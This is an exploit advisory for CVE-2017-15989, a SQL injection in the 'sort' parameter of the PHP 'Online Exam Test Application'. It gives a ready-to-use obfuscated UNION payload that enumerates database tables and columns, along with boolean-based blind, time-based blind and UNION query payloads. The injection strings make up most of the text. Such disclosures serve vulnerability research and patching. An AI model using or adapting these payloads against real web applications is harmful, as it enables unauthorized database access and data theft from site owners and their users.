Online Exam Test Application SQL Injection

`# # # # #   
# Exploit Title: Online Exam Test Application - SQL Injection  
# Dork: N/A  
# Date: 30.10.2017  
# Vendor Homepage: http://www.phpscriptsmall.com/  
# Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application  
# Demo: http://198.38.86.159/~onlineexamboard/  
# Version: N/A  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-15989  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# http://localhost/[PATH]/resources.php?action=category&sort=[SQL]  
#   
# -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+-  
#   
# Parameter: sort (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload: action=category&sort=8 AND 5525=5525  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: action=category&sort=8 AND SLEEP(5)  
#   
# Type: UNION query  
# Title: Generic UNION query (NULL) - 4 columns  
# Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw  
#   
# Etc..  
# # # # #  
  
`